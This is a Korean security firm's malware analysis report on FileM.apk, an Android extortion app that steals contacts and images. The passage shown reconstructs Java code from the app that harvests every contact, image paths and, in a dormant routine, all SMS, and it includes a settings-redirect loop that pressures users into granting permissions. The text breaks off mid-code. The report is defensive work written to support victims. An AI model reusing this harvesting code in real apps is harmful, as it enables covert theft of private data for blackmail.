FileM 상세 분석 보고서

FileM.apk 악성앱 심층 분석 보고서

분석일: 2025-08-05 ~ 2026-02-14

분석자: 주식회사 아크링크

분석 목적: 피싱/스미싱 [피해자 정보 비공개] 위한 악성앱 분석

보고서 버전: v3.0 (Quantum Nano Analysis)

프로젝트: Project FileM

목차

0. [Executive Summary](#0-executive-summary)

1. [앱 기본 정보](#1-앱-기본-정보)

2. [권한 분석](#2-권한-분석)

3. [코드 구조 분석](#3-코드-구조-분석)

4. [데이터 수집 유틸리티 전수 분석 (StatusUtils.java)](#4-데이터-수집-유틸리티-전수-분석-statusutilsjava)

5. [DTO 분석](#5-dto-분석)

6. [네트워크/C2 분석](#6-네트워크c2-분석)

7. [SSL 우회 체인 분석](#7-ssl-우회-체인-분석)

8. [방어기제 분석](#8-방어기제-분석)

9. [데이터 탈취 분석](#9-데이터-탈취-분석)

10. [교차 분석: FileM vs FILEQ (Wavegrid Gen2 Variant A 쌍둥이)](#10-교차-분석-filem-vs-fileq)

11. [취약점 카탈로그](#11-취약점-카탈로그)

12. [기법 카탈로그](#12-기법-카탈로그)

13. [Developer Profiling](#13-developer-profiling)

14. [MALBIO 유전체 분석](#14-malbio-유전체-분석)

15. [피해 영향 분석](#15-피해-영향-분석)

16. [IOC (Indicators of Compromise)](#16-ioc-indicators-of-compromise)

17. [한계점](#17-한계점)

18. [분석 타임라인](#18-분석-타임라인)

19. [결론](#19-결론)

0. Executive Summary

한 눈에 보는 위협 요약

항목 · 값

**위협 등급** · **HIGH**

**패밀리** · Wavegrid Gen2 (Variant A)

**핵심 위협** · 연락처 + 이미지 전량 탈취, SMS 수집 코드 내장

**C2 서버** · `[비공개]` (RuoYi 프레임워크)

**방어기제** · 초대코드 검증 + minSdk 29 (모두 우회 완료)

**우회 상태** · 성공

**총 분석 클래스** · 22개 (악성 코어) + 라이브러리

**식별된 데이터 수집 메서드** · 7개 (StatusUtils.java)

**SSL 우회 레이어** · 3중 (UnSafeTrustManager + setCertificates + network_security_config)

**SMS 수집 코드** · **존재** (휴면 상태 - 호출부 미연결이나 코드 내장)

**FILEQ 유전체 거리** · 0.000 (동일 개발조 산출물)

핵심 발견 사항

1. 기존 보고서 오류 수정: 실제 패키지는 com.nectarfly.orbitaire (기존 com.cryonix.wavegrid.filem 기재는 메타데이터 오류)

2. SMS 수집 코드 발견: StatusUtils.getMsgs() 메서드에 content://sms/ 패턴 확인. Manifest에 READ_SMS 권한 미선언으로 휴면 상태이나, 코드가 존재한다는 것은 향후 활성화 가능성을 시사

3. 3중 SSL 우회 체인: TLS 인증서 검증을 3개 레이어에서 무력화하여 MITM 공격에 완전 취약

4. FILEQ와 구조적 차이 발견: 동일 패밀리이나 액티비티 명칭, JSON 라이브러리, 코드 구조에서 차이 존재. 동일 코드베이스의 세대 차이(fork) 가능성

1. 앱 기본 정보

항목 · 내용

**파일명** · fileM.apk

**앱 이름** · FileM

**패키지명 (Manifest)** · com.nectarfly.orbitaire

**내부 코어 패키지** · com.nectarfly.orbitaire

**보조 식별자 (R 클래스)** · com.vortexa.qubeleaf

**버전 코드** · 903

**버전 이름** · 7.0.3

**Min SDK** · 29 (Android 10)

**Target SDK** · 34 (Android 14)

**Compile SDK** · 34

**프레임워크** · Native Android (Kotlin + EasyHttp + FastJSON)

**패밀리** · Wavegrid Gen2 (Variant A)

**위협 수준** · **HIGH**

**우회 상태** · 성공

1.1 패키지 구조

구분 · 패키지명 · 용도

**Manifest 패키지** · com.nectarfly.orbitaire · 앱 식별자, Application 클래스

**R 리소스 패키지** · com.vortexa.qubeleaf · 빌드 시 생성된 리소스 ID (R.string, R.layout 등)

**네트워크 라이브러리** · com.zhouyou.http · EasyHttp 라이브러리 (OkHttp 래퍼)

**JSON 파서** · com.alibaba.fastjson · Alibaba FastJSON

**유틸리티** · com.blankj.utilcode · BlankJ AndroidUtilCode

**이미지 압축** · top.zibin.luban · Luban 이미지 압축

**권한 요청** · com.permissionx.guolindev · PermissionX

**UI 상태바** · com.gyf.immersionbar · ImmersionBar

1.2 패키지명 기존 보고서 오류 정정

기존 보고서(v2.0)에서는 패키지명을 com.cryonix.wavegrid.filem으로 기재했으나, 실제 디컴파일 결과 com.nectarfly.orbitaire임이 확인되었습니다. com.cryonix.wavegrid.filem은 이전 분석에서의 메타데이터 추정값이었습니다.

항목 · 기존 보고서 (v2.0) · 실제 값 (v3.0)

Manifest 패키지 · com.cryonix.wavegrid.filem · **com.nectarfly.orbitaire**

내부 패키지 · com.tushiweih.wavegrid (추정) · **com.nectarfly.orbitaire**

R 패키지 · (미기재) · **com.vortexa.qubeleaf**

Application 클래스 · (미기재) · **com.nectarfly.orbitaire.Myapplication**

1.3 FILEQ와의 동일성 재평가

MALBIO 유전체 분석에서 거리 0.000으로 확인된 FileM과 FILEQ는 동일 개발조의 산출물이나, 디컴파일 데이터 기반 심층 분석에서 다음과 같은 차이가 발견되었습니다:

변경 항목 · FileM · FILEQ

Manifest 패키지 · com.nectarfly.orbitaire · com.vsyywi.yuhngt

내부 코어 패키지 · com.nectarfly.orbitaire · com.tushiweih.wavegrid

R 패키지 · com.vortexa.qubeleaf · (별도)

C2 서버 · [비공개] · [비공개]

minSdk · 29 · 28

LAUNCHER 액티비티 · HomeActivity (초대코드 입력) · LoginActivity (초대코드 입력)

데이터 수집 액티비티 · ContainActivity · HomeActivity

JSON 라이브러리 · Alibaba FastJSON · Gson

HTTP 라이브러리 · EasyHttp (OkHttp 래퍼) · OkHttp 직접 사용

이미지 압축 · Luban · (직접 구현 또는 미사용)

StatusUtils 클래스명 · StatusUtils.java (난독화 없음) · uv0.smali (ProGuard 난독화)

이러한 차이는 동일 개발조가 코드베이스를 fork하여 일부 리팩토링한 결과로 판단됩니다. 악성 로직의 핵심 구조(초대코드 -> 권한 요청 -> 연락처/이미지 탈취)는 완전 동일합니다.

2. 권한 분석

2.1 요청 권한 목록

# · 권한 · 위험도 · 용도 (분석) · 피해 시나리오

1 · `READ_CONTACTS` · **위험** · 연락처 전체 탈취 · 피해자의 모든 연락처가 공격자에게 전달됨. 주변인에게 협박 메시지 발송에 사용

2 · `READ_PHONE_STATE` · **위험** · IMEI, 기기정보 수집 · 기기 식별자로 피해자를 추적하고 동일 [피해자 정보 비공개] 활용

3 · `READ_PHONE_NUMBERS` · **위험** · 전화번호 직접 획득 · 피해자 전화번호를 직접 수집하여 협박 수단으로 활용

4 · `READ_EXTERNAL_STORAGE` · **위험** · 사진/파일 접근 (API 32 이하) · 기기 내 사진/동영상을 탈취하여 협박 소재로 활용

5 · `READ_MEDIA_IMAGES` · **위험** · 이미지 접근 (API 33+) · API 33 이상 기기에서 이미지 접근

6 · `READ_MEDIA_VIDEO` · **위험** · 동영상 접근 (API 33+) · API 33 이상 기기에서 동영상 접근

7 · `INTERNET` · 일반 · 네트워크 통신 · C2 서버와의 데이터 송수신

8 · `ACCESS_NETWORK_STATE` · 일반 · 네트워크 상태 확인 · 네트워크 가용성 체크

9 · `WRITE_EXTERNAL_STORAGE` · 일반 · 외부 저장소 쓰기 · 이미지 압축 임시 파일 저장

10 · `MOUNT_UNMOUNT_FILESYSTEMS` · 일반 · 파일시스템 마운트 · 비표준 권한, 일부 기기 호환성

11 · `DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION` · signature · 내부 수신기 보호 · AndroidX 표준 패턴

2.2 권한 요청 2단계 전략 분석

ContainActivity.smali의 getPerInfo() 메서드 분석 결과, 런타임 권한 요청이 API 버전에 따라 분기됩니다:

```java

// 재구성된 Java 코드

private void getPerInfo(int permissionSize) {

List<String> permissions = new ArrayList<>();

// 1단계: 미디어 권한 (API 버전 분기)

if (Build.VERSION.SDK_INT >= 33) {

permissions.add("android.permission.READ_MEDIA_IMAGES"); // API 33+

permissions.add("android.permission.READ_MEDIA_VIDEO"); // API 33+

} else {

permissions.add("android.permission.READ_EXTERNAL_STORAGE"); // API 32 이하

}

// 2단계: permissionSize == 3이면 추가 권한 요청

if (permissionSize == 3) {

permissions.add("android.permission.READ_CONTACTS");

permissions.add("android.permission.READ_PHONE_NUMBERS");

permissions.add("android.permission.READ_PHONE_STATE");

}

PermissionX.init(this)

.permissions(permissions)

.request((allGranted, grantedList, deniedList) -> {

if (allGranted) {

shareCOntain(); // 데이터 수집 시작

} else {

showActiveDialog(100); // 설정 화면 유도

}

});

}

```

분석 포인트: setList$lambda$0에서 getPerInfo(3)으로 호출하여 항상 전체 권한(미디어 + 연락처 + 전화번호)을 한 번에 요청합니다. GlobuleValue.SIZE = 3이 하드코딩 상수로 사용됩니다.

2.3 권한 거부 시 설정 화면 강제 유도

권한이 거부되면 showActiveDialog(100)을 호출하여 커스텀 다이얼로그(diaolog_permission 레이아웃)를 표시하고, 확인 버튼 클릭 시 앱 설정 화면(APPLICATION_DETAILS_SETTINGS)으로 강제 이동합니다:

```java

// showActiveDialog$lambda$3 재구성

dialog.dismiss();

Intent intent = new Intent("android.settings.APPLICATION_DETAILS_SETTINGS");

Uri uri = Uri.fromParts(getString(R.string.packageInfo), getPackageName(), null);

intent.setData(uri);

startActivityForResult(intent, code); // code = 100

```

이 패턴은 사용자가 권한을 거부해도 끊임없이 설정 화면으로 유도하여 사실상 "동의 강요"를 구현합니다.

2.4 권한 수 비교

앱 · 위험 권한 수 · Manifest 총 권한 · 비고

nyang · 7 · 10+ · Wavegrid 최다

ML (YLOVE) · 5 · 8+ · 카메라 포함

**FileM** · **6** · **11** · READ_MEDIA_IMAGES/VIDEO 분리 포함

FILEQ · 3 · 6+ · FileM 이전 버전

HomeYoga · 2 · 5+ · Wavegrid 최소

2.5 숨겨진 SMS 수집 능력

중요: Manifest에 READ_SMS 권한이 선언되지 않았지만, StatusUtils.getMsgs() 메서드에 SMS 전량 수집 코드가 내장되어 있습니다 (4절에서 상세 분석). 이는 향후 업데이트를 통해 SMS 수집을 활성화할 수 있는 "휴면 무기"입니다.

3. 코드 구조 분석

3.1 클래스 구조

컴포넌트 · 타입 · 소스 · 역할

`com.nectarfly.orbitaire.Myapplication` · Application · Kotlin · 앱 초기화, EasyHttp 설정, C2 baseUrl 설정

`com.nectarfly.orbitaire.view.HomeActivity` · Activity (LAUNCHER) · Kotlin · 초대코드 입력 및 C2 서버 인증

`com.nectarfly.orbitaire.view.ContainActivity` · Activity · Kotlin · 권한 요청 + 연락처/이미지 수집/전송

`com.nectarfly.orbitaire.view.base.BaseActivity` · Abstract Activity · Kotlin · 공통 UI (ImmersionBar, ViewBinding, init/setList 템플릿)

`com.nectarfly.orbitaire.util.StatusUtils` · Utility (Static) · **Java** · 데이터 수집 핵심 (연락처, 이미지, SMS, 통신사 등)

`com.nectarfly.orbitaire.util.ServerUtil` · Utility (Singleton) · Kotlin · C2 서버 URL 상수, 파일 업로드

`com.nectarfly.orbitaire.util.GlobuleValue` · Constants (Singleton) · Kotlin · SharedPreferences 키 상수 정의

`com.nectarfly.orbitaire.util.PermissDialog` · Dialog · **Java** · 커스텀 권한 요청 다이얼로그

`com.nectarfly.orbitaire.bean.CollectBeanDTO` · Data Class · **Java** · 연락처 DTO (name, number)

`com.nectarfly.orbitaire.bean.InfoBeanDTO` · Data Class · **Java** · 다목적 DTO (displayName, path, content, date, type)

`com.nectarfly.orbitaire.bean.ResultSuccessCallBack` · Interface · **Java** · 파일 업로드 콜백

3.2 언어 혼합 분석

FileM은 Kotlin과 Java를 혼합 사용합니다:

언어 · 파일 · 특징

**Kotlin** · HomeActivity, ContainActivity, BaseActivity, ServerUtil, GlobuleValue, Myapplication · 주요 비즈니스 로직

**Java** · StatusUtils, PermissDialog, CollectBeanDTO, InfoBeanDTO, ResultSuccessCallBack · 유틸리티 및 데이터 클래스

이 패턴은 개발자가 기존 Java 코드를 재사용하면서 새 코드는 Kotlin으로 작성했음을 시사합니다. StatusUtils가 Java로 작성된 것은 이 클래스가 여러 프로젝트(FileM, FILEQ, HomeYoga 등)에서 공유되는 공통 모듈임을 뒷받침합니다.

3.3 액티비티 흐름

```

[앱 실행]

v

HomeActivity (LAUNCHER) ← 주의: FILEQ에서는 LoginActivity

-- init(): IFFIRST == true? → startUp() → ContainActivity

-- init(): IFFIRST == false? → setList() → 초대코드 입력 UI

v

[사용자 입력] → setList$lambda$0

-- mainUid 비어있으면 UUID.randomUUID() 생성

-- goToNext(mainUid, inviteCode)

v

POST [비공개]

Body: {"name": inviteCode, "cId": uuid}

v

goToNext$2.onSuccess(response)

-- JSONObject.parseObject(response)

-- code == 200?

-- SPUtils.put("UUIDVALUE", uuid)

-- SPUtils.put("INVITECODE", inviteCode)

└-- startUp() → ContainActivity

-- code != 200?

└-- Toast(response.msg)

v

ContainActivity

-- init(): homeCode = SPUtils.getString("INVITECODE")

-- containIt = SPUtils.getBoolean("ISUPLOAD")

-- btnSync.setEnabled(!containIt) ← 이미 업로드했으면 버튼 비활성화

-- setList(): btnSync.onClick → getPerInfo(3)

v

[권한 요청] → PermissionX

-- allGranted? → shareCOntain()

-- TelephonyManager.getLine1Number() → codeValue (전화번호)

-- startNuxtInfo() ← 연락처 수집 및 전송

└-- startImgShowInfo() ← 이미지 수집 및 전송

-- denied? → showActiveDialog(100) → 설정 화면 유도

```

3.4 SharedPreferences 키

키 · 타입 · 용도 · 코드 위치

`IFFIRST` · Boolean · 최초 실행 여부 (true = 이미 로그인) · HomeActivity.init(), startUp()

`UUIDVALUE` · String · 기기 고유 식별자 (UUID v4) · HomeActivity.init(), goToNext$2

`INVITECODE` · String · 입력된 초대코드 · goToNext$2, ContainActivity.init()

`ISUPLOAD` · Boolean · 데이터 업로드 완료 여부 (재전송 방지) · ContainActivity.init(), startNuxtInfo$1

3.5 의존 라이브러리

라이브러리 · 버전 · 용도 · FILEQ와 비교

**EasyHttp** (com.zhouyou.http) · - · HTTP 클라이언트 (OkHttp 래퍼) · FILEQ는 OkHttp 직접 사용

**Alibaba FastJSON** · - · JSON 파싱/직렬화 · FILEQ는 Gson

**OkHttp3** · - · EasyHttp 내부 + ServerUtil 직접 사용 · 동일

**BlankJ AndroidUtilCode** · - · SPUtils, GsonUtils, UtilsFileProvider · 동일

**PermissionX** (guolindev) · - · 런타임 권한 요청 · 동일

**Luban** (top.zibin.luban) · - · 이미지 압축 후 업로드 · FILEQ에서는 미확인

**ImmersionBar** (gyf) · - · 상태바 투명화 · 동일

**AndroidX** · - · AppCompat, Fragment, Lifecycle, ViewBinding · 동일

**Kotlin Coroutines** · - · 비동기 처리 · 동일

**RxJava2** · - · EasyHttp 내부 (Disposable 반환) · FILEQ에서는 미확인

4. 데이터 수집 유틸리티 전수 분석 (StatusUtils.java)

StatusUtils.java는 FileM의 데이터 수집 엔진입니다. 7개의 static 메서드로 구성되며, 연락처, 이미지, SMS, 통신사 정보를 수집합니다.

4.1 메서드 전수 목록

# · 메서드 · 반환 타입 · 용도 · 호출 여부

1 · `getContact(Context)` · `List<InfoBeanDTO>` · 연락처 수집 (Phone URI) · **활성** - startNuxtInfo()

2 · `getContacts(Context)` · `List<CollectBeanDTO>` · 연락처 수집 (Contacts URI, 상세) · 미호출 (레거시)

3 · `getContactss(Context)` · `List<CollectBeanDTO>` · 연락처 수집 (하드코딩 URI) · 미호출 (레거시)

4 · `getMsgs(Context)` · `List<InfoBeanDTO>` · **SMS 전량 수집** · **미호출 (휴면)**

5 · `getImg(Context)` · `List<InfoBeanDTO>` · 이미지 경로 수집 (정렬 있음) · 미호출 (레거시)

6 · `getAlbum(Context)` · `List<InfoBeanDTO>` · 이미지 경로 수집 (정렬 없음) · **활성** - startImgShowInfo()

7 · `getOperatorName(Context)` · `String` · 통신사 이름 수집 · **활성** - startNuxtInfo()

8 · `compressImage(Bitmap)` · `Bitmap` · 이미지 JPEG 압축 · 미호출 (레거시, Luban 대체)

9 · `saveFile(Context, Bitmap, String)` · `File` · 이미지 파일 저장 · 미호출 (레거시)

4.2 getContact() - 연락처 수집 (활성)

```java

// 재구성된 Java 코드

public static List<InfoBeanDTO> getContact(Context context) {

List<InfoBeanDTO> list = new ArrayList<>();

try {

ContentResolver resolver = context.getContentResolver();

Cursor cursor = resolver.query(

ContactsContract.CommonDataKinds.Phone.CONTENT_URI,

null, // 전체 컬럼

null, // WHERE 없음 → 전체 연락처

null, // 파라미터 없음

null // 정렬 없음

);

cursor.moveToFirst();

do {

String name = cursor.getString(cursor.getColumnIndex("display_name"));

String number = cursor.getString(cursor.getColumnIndex("data1"));

String contactId = cursor.getString(cursor.getColumnIndex("contact_id"));

InfoBeanDTO bean = new InfoBeanDTO();

bean.displayName = name; // 연락처 이름

bean.content = number; // 전화번호

list.add(bean);

} while (cursor.moveToNext());

cursor.close();

} catch (Exception e) { }

return list;

}

```

분석 포인트:

· WHERE null 패턴: 필터링 없이 모든 연락처를 수집

· Phone.CONTENT_URI 사용: 연락처별 전화번호를 직접 가져옴

· InfoBeanDTO로 래핑하여 이름(displayName)과 번호(content)를 저장

· try-catch로 예외 무시: 일부 연락처 수집 실패해도 계속 진행

4.3 getContacts() - 연락처 수집 (레거시, 상세 버전)

```java

// 재구성된 Java 코드

public static List<CollectBeanDTO> getContacts(Context context) {

List<CollectBeanDTO> list = new ArrayList<>();

ContentResolver resolver = context.getContentResolver();

// 1단계: 모든 연락처 ID 수집

Cursor cursor = resolver.query(

ContactsContract.Contacts.CONTENT_URI,

null, null, null, null

);

while (cursor.moveToNext()) {

String id = cursor.getString(cursor.getColumnIndex("_id"));

String name = cursor.getString(cursor.getColumnIndex("display_name"));

int hasPhone = cursor.getInt(cursor.getColumnIndex("has_phone_number"));

if (hasPhone > 0) {

// 2단계: 각 연락처의 전화번호 수집

Cursor phoneCursor = resolver.query(

Phone.CONTENT_URI,

null,

"contact_id=" + id, // SQL Injection 취약! (V-004)

null, null

);

while (phoneCursor.moveToNext()) {

CollectBeanDTO bean = new CollectBeanDTO();

bean.name = name;

String number = phoneCursor.getString(

phoneCursor.getColumnIndex("data1")

);

bean.number = number.trim().replace(" ", "").replace("-", "");

list.add(bean);

}

phoneCursor.close();

}

}

cursor.close();

return list;

}

```

분석 포인트:

· 2단계 쿼리: 먼저 연락처 목록 → 각 연락처의 전화번호 별도 조회

· "contact_id=" + id: 문자열 결합으로 SQL Injection 취약점 (V-004)

· 전화번호 정규화: 공백과 하이픈 제거 (trim().replace(" ","").replace("-",""))

4.4 getContactss() - 연락처 수집 (하드코딩 URI 버전)

```java

public static List<CollectBeanDTO> getContactss(Context context) {

List<CollectBeanDTO> list = new ArrayList<>();

ContentResolver resolver = context.getContentResolver();

// 하드코딩된 Content URI!

Cursor cursor = resolver.query(

Uri.parse("content://com.android.contacts/data/phones"),

null, null, null, null

);

while (cursor.moveToNext()) {

String name = cursor.getString(cursor.getColumnIndex("display_name"));

String number = cursor.getString(cursor.getColumnIndex("data1"));

CollectBeanDTO bean = new CollectBeanDTO();

bean.name = name;

bean.number = number;

list.add(bean);

Log.d("TAG", "getContact===" + name);

Log.d("TAG", "getContact===" + number);

}

cursor.close();

return list;

}

```

분석 포인트:

· content://com.android.contacts/data/phones 하드코딩: ContactsContract.CommonDataKinds.Phone.CONTENT_URI와 동일하지만 문자열로 직접 지정

· Log.d("TAG", ...): 디버그 로그에 연락처 정보 출력 (V-007)

· 이 메서드는 getContacts()와 getContact()의 중간 형태로, 개발 과정에서의 반복 구현 흔적

4.5 getMsgs() - SMS 수집 (휴면 상태)

```java

// 재구성된 Java 코드 - 핵심 발견!

public static List<InfoBeanDTO> getMsgs(Context context) {

List<InfoBeanDTO> list = new ArrayList<>();

try {

Uri smsUri = Uri.parse("content://sms/"); // ← SMS 전체 접근!

// 5일 전 기준 시간 계산

Calendar calendar = Calendar.getInstance();

calendar.add(Calendar.DAY_OF_MONTH, -1); // 실제: -1 (1일 전)

// 코드상 상수: const/4 v2, 0x5 → add(5, -1) → DAY_OF_MONTH, -1

String[] projection = {"address", "date", "type", "body"};

Cursor cursor = context.getContentResolver().query(

smsUri,

projection,

null, // WHERE null → 전체 SMS!

null,

null

);

while (cursor.moveToNext()) {

String address = cursor.getString(0); // 발신/수신 번호

String date = cursor.getString(1); // 날짜

String type = cursor.getString(2); // 유형 (수신/발신)

String body = cursor.getString(3); // 메시지 본문

InfoBeanDTO bean = new InfoBeanDTO();

bean.content = body; // SMS 본문

bean.displayName = address; // 번호

bean.date = date; // 날짜

bean.type = type; // 유형

list.add(bean);

// 디버그 로그에 SMS 내용 출력!

Log.e("TAG", "address:...,date:...,type:...,body:..." + address + body + type);

}

cursor.close();

} catch (Exception e) { }

return list;

}

```

핵심 분석:

항목 · 내용

**URI** · `content://sms/` (전체 SMS 접근)

**필터** · WHERE null (전체 SMS, 필터링 없음)

**수집 필드** · address(번호), date(날짜), type(유형), body(본문)

**호출 여부** · **미호출** (ContainActivity에서 호출되지 않음)

**Manifest 권한** · READ_SMS **미선언**

**위험도** · 코드 존재 자체가 위협 - 업데이트로 활성화 가능

**디버그 로그** · `Log.e("TAG", ...)` - SMS 본문이 로그에 노출 (V-007)

휴면 상태 근거:

1. ContainActivity.shareCOntain()에서 startNuxtInfo()(연락처)와 startImgShowInfo()(이미지)만 호출

2. getMsgs()를 호출하는 코드가 현재 바이너리에 존재하지 않음

3. Manifest에 READ_SMS 권한이 선언되지 않아 실행해도 SecurityException 발생

위협 평가: 이 코드는 Wavegrid 패밀리의 "공통 유틸리티 모듈"에 포함된 것으로, nyang 등 SMS 수집이 필요한 변종에서 사용됩니다. FileM에서는 아직 활성화되지 않았지만, Manifest에 READ_SMS를 추가하고 shareCOntain()에서 getMsgs()를 호출하면 즉시 SMS 수집이 가능합니다.

4.6 getAlbum() - 이미지 경로 수집 (활성)

```java

public static List<InfoBeanDTO> getAlbum(Context context) {

List<InfoBeanDTO> list = new ArrayList<>();

try {

Cursor cursor = context.getContentResolver().query(

MediaStore.Images.Media.EXTERNAL_CONTENT_URI,

null, // 전체 컬럼

null, // WHERE null → 전체 이미지

null,

null // 정렬 없음

);

if (cursor != null && cursor.moveToFirst()) {

do {

<

본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr